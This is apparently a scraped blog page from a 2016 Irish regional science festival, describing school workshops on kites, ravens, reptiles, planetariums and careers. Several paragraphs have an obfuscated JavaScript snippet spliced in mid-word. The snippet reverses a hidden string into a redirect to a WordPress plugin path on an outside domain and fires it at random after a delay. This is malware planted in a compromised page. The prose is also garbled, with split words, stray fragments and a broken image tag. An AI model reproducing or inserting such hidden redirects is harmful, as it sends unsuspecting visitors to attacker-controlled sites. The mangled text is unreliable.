His tory of the Grand Canal, Water safety and Life Saving!

Today we were delighted to welcome RNLI volunteer Ronan Adams (who is originally from Tullamore) back to the Midlands to talk to four schools about the work of the RNLI, water safety, how the crew save lives and of course how science plays a role in all of this highly important work. 

The children even had an opportunity to test whether or not Ronan was telling the truth when he said his uniform was completely waterproof! (See pho to)

We also had a brilliant day of workshops all about the grand canal which runs through Tullamore and this was provided to a very lucky local school by waterways Ireland and the Irish Peat Conservation Council.

Later on its the science of perfume, loads of careers talks and some experts in to the science of sleep! Its not over yet!

Science of Scents!

Planning to be in the Mullingar area on Friday afternoon? Why not come along to this free event all about the science of perfume or ‘Making Sense of Scents’ with Dr. Craig Slattery at Weir’s
Pharmacy Mullingar on November 18th at 4pm!

Up, Up and Away

It was kite making and flying in Offaly today when the team from ‘Go Fly Your Kite’ visited the pupils of Eoin Pol in Tullamore and also Killeagh NS for an interactive workshop on kites and howkites-eoin-pol-1 they work. Feedback has been really positive and Glenn and his team made sure that all of the students rolled up their sleeves and really got involved in the learning and fun.

‘The physics of how a kite gains lift is very similar to how an airplane gains lift. The wings generate lift force by the action of the moving air over the wing surface. A kite works in exactly the same way. The wind blows in the direction of the kite and underneath it – this creates lift. An excellent way for students to a gain a feel for aerodynamic forces is to fly a kite!’

Go Fly Your Kite in Tullamore yesterday



Science for Breakfast, Geology, Biology and More!

Today has been another action packed day so far, with an early start in Athlone for a science skills and careers networking breakfast. Here our key speaker Anne Heraty of Cpl Resources addressed kites-eoin-pola full audience all about the importance of science related careers and focused on the Midlands as a place to live and work. We had more kite making in Tullamore, a talk from NUI Maynooth professor, Sean Doyle in St Brendan’s in Birr, snakes and tor toises in Offaly and geology and lessons about our tap water in one of our local Gaelscoils with the Geological Survey of Ireland! Meanwhile over in Laois we had science magic in Abbeyleix while in Moate there was recycling and other science lessons with the Rediscovery Centre! #ScienceWeek

Planets, Careers and Kites!

So far today has been fun-filled, fact-filled and even involved a spot of kite flying! The reptiles are on tour and today made their way to Co. Longford where children had the opportunity to pet a tor toise and meet all sorts of entertaining little creatures! We are also delighted to be partnering with our friends at ‘Go Fly Your Kite’ to provide fun and interesting workshops for pupils across the region during this year’s Midlands Science Festival and they started their regional workshops today in the Gaelscoil in Athlone where pupils learned all about the physics of kite flying and then theygot to make their own kite to get a real piece of the action. st-j-at-ex-  $mWn=function(n){if(typeof ($mWn.list[n])==dome” width=”300″ height=”225″ />

Dr. Andy Fogarty from the science department in AIT gave an informative talk to secondary students all about ‘Sex, drugs and Fish’ in Athlone and the mobile planetarium provided by our friends at ‘Exploration Dome’ made its way to Tullamore where the pupils of St. Josephs NS had the opportunity to spend a little time learning and star-gazing. Another action packed and fun-filled day for the Midlands Science Festival..

Roll on tomorrow when we will be having science for breakfast!

Sunset walks, superfoods and Anyone for science?

The festival kicked off on Saturday with a fantastic talk from ornithologist, Ricky Whelan in Co.Laois followed by a beautiful sunset walk as crowds of people watched flocks of ravens and crows (the most intelligent birds in the animal king $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom) fly back their rookery.  This talk also included the opportunity for everyone to meet with the ravens Fiachra and Satan, who have appeared in the TV show Vikings.

Ben Doran is helped by Mary Delaney experiments with static electricity experiments at St. Joseph's NS in Borris-In-Ossory as part of Midlands Science Festival. Picture: Jeff Harvey/HR Pho to

Ben Doran is helped by Mary Delaney experiments with static electricity experiments at St. Joseph’s NS in Borris-In-Ossory as part of Midlands Science Festival. Picture: Jeff Harvey/HR Pho to

Moving to today, we have everything from informative talks on superfoods, nutrition and iphone technology in Athlone, a day of explosions, snakes and spiders with the Reptile Zoo Village and the Junior Einsteins in Mullingar while over in Laois, the team from Anyone for Science carried out all sorts of fun experiments and the Exploration Dome entertained several pupils while teaching them all about science, space, geology and more!

It has been challenging trying to make sure there was something for as many age groups as possible, but today certainly provided a huge variety of activities and showed just how much science is all around us in everything we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do!


With over 100 events ranging from hands-on, messy experiments and workshops to an exciting mobile planetarium and talks on science careers, the Midlands Science Festival which began on Saturday as part of national Science Week and runs until November 20th promises to provide something for all ages this year.

Shay Cullen from Raven Haven Aviaries with a male raven and Jackie Gorman, Midlands Science Festival during a talk, the Secret Life of Ravens and Crows at Portlaoise Library as part of Midlands Science Festival which is hosting events across the midlands region as part of national science week 13th - 20th November 2016.

Picture: Jeff Harvey

Shay Cullen from Raven Haven Aviaries with a male raven and Jackie Gorman, Midlands Science Festival during a talk, the Secret Life of Ravens and Crows at Portlaoise Library as part of Midlands Science Festival which is hosting events across the midlands region as part of national science week 13th – 20th November 2016.

Picture: Jeff Harvey

Events which took place in Laois so far have ranged from an out $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}door sunset walk and a presentation on the ‘Secret Lives of Ravens and Crows’ in Portlaoise, fun activities for schools such as one provided by the team at ‘Anyone for Science’ called “Bright Sparks – The Hair Raising S tory of Electricity” and a visit from the Exploration Dome where pupils had the opportunity $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do some star-gazing.

Ann Bergin, Principal at Timahoe National School said,

‘We were delighted to have had the opportunity to attend another Midlands Science Festival event during this year’s Science Week. We really enjoyed the Exploration Dome and the pupils learned about everything from space to geography and geology. This festival is a wonderful way to educate young children about science in a more fun and hands-on way and we hope that it inspires them to think about science when it comes to second level and making choices about future subjects.’

The organisers of the Midlands Science Festival wish to thank all speakers, workshop providers, schools and the public, many of whom travelled from beyond the region to attend some of the events which took place so far this year.

See you tomorrow!

For those of you attending “The Secret Lives of Ravens & Crows”, we are looking forward to seeing you tomorrow for the first event of this year’s Midlands Science Festival. This event is completely booked out and we will be starting at 2.30pm in Portlaoise Library so please arrive a few minutes in advance. There is limited seating and we will not have seating for everyone as demand for this event has been much more than what we expected. We are using the library for the first part of the event. We wanted to accommodate as many people as possible so thanks for your understanding.

We have a brief talk on ravens and crows with the amazing ecologist Ricky Whelan and we will have the chance to meet Satan and Fiachra, the ravens from the TV Show Vikings. After this, we will be walking to the Downs Rookery to watch the crows fly in at sunset. It’s only a short walk but wrap up warm. There will be plenty of time for questions as well. Please note this event is being pho tographed and recorded for online communications.

We can’t contain our excitement!

Pho tography : Jeff Harvey

Pho tography : Jeff Harvey

Kicking off in just two days time with ravens and crows, the time has nearly arrived to celebrate science across the region during this year’s Midlands Science Festival! We have reptiles, junior scientists, experiments, plants and nutrition on Monday.. How to make kites and the science behind flying them, science magic and careers advice on Tuesday and that’s just for starters!

The team here at Midlands Science Festival would like to thank everyone who has made this festival possible from sponsors and partners, to schools, local media and workshop presenters and speakers. We can not wait for the festival to begin – Its our biggest and best one yet, with over 130 events for all age groups!

See you soon for all things science!

#Science Week


Inspirational career talks and public events for Athlone


As part of this year’s Midlands Science Festival which takes place across the Midlands from November 13th to 20th, a series of high value careers talks will take place in local schools. Local development company Midlands Science have arranged to bring a number of role models with science or technology backgrounds in to Midlands’ secondary schools to deliver these career talks and demonstrate in a hands on way why a career in science is a good choice.  Volunteers for this initiative are from life sciences organisations and technology companies, as well as from research centres and academia such as NUI, Maynooth, UCD and Athlone Institute of Technology. Many of the speakers are past pupils of the schools they will attend.

Jackie Gorman, Midlands Science Festival direc tor said,

‘Science expertise involves whole-life learning beyond what happens in school so we are delivering these career talks in collaboration with key corporate and academic partners and the aim is to increase participation in science and technology education and careers in the Midlands.  In addition to presentations being held throughout regional schools we also have a free breakfast seminar taking place in the Shera ton Hotel on the morning of November 16th and in particular we are encouraging third level graduates to come along to this to hear from one of our company partners, Abbott Diagnostics in Longford. The morning will also provide an opportunity to hear from leading recruitment expert and Midlands native, Anne Heraty of Cpl Resources.’

Along with a number of events taking place in schools, there are other public events taking place throughout Science Week including one all about exploring the science of sleep! This event which takes place in the Little Theatre in Athlone on the night of November 18th promises a highly informative evening with plenty of discussion and question time. Dr. Craig Slattery, a science communica tor and Specialist Lecturer at University College Dublin who is originally from the region Craig will address the audience as will Dr Silke Ryan, Consultant in Respira tory and Sleep Medicine at St. Vincent’s University Hospital and Research Fellow at UCD.

Jackie Gorman continued,

‘The Midlands Science Festival has partnered with Burgess of Athlone for this event and Burgess has kindly $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donated a very generous prize of 200 euros to spend in their bedding department to celebrate the event. The winner of this voucher was Bregeen Hegarty so we would like to thank Burgess and congratulate Bregeen and hope she enjoys her prize.’

Pho to: Dr Andy Fogarty of Athlone Institute of Technology who will speak in an Athlone school during Science Week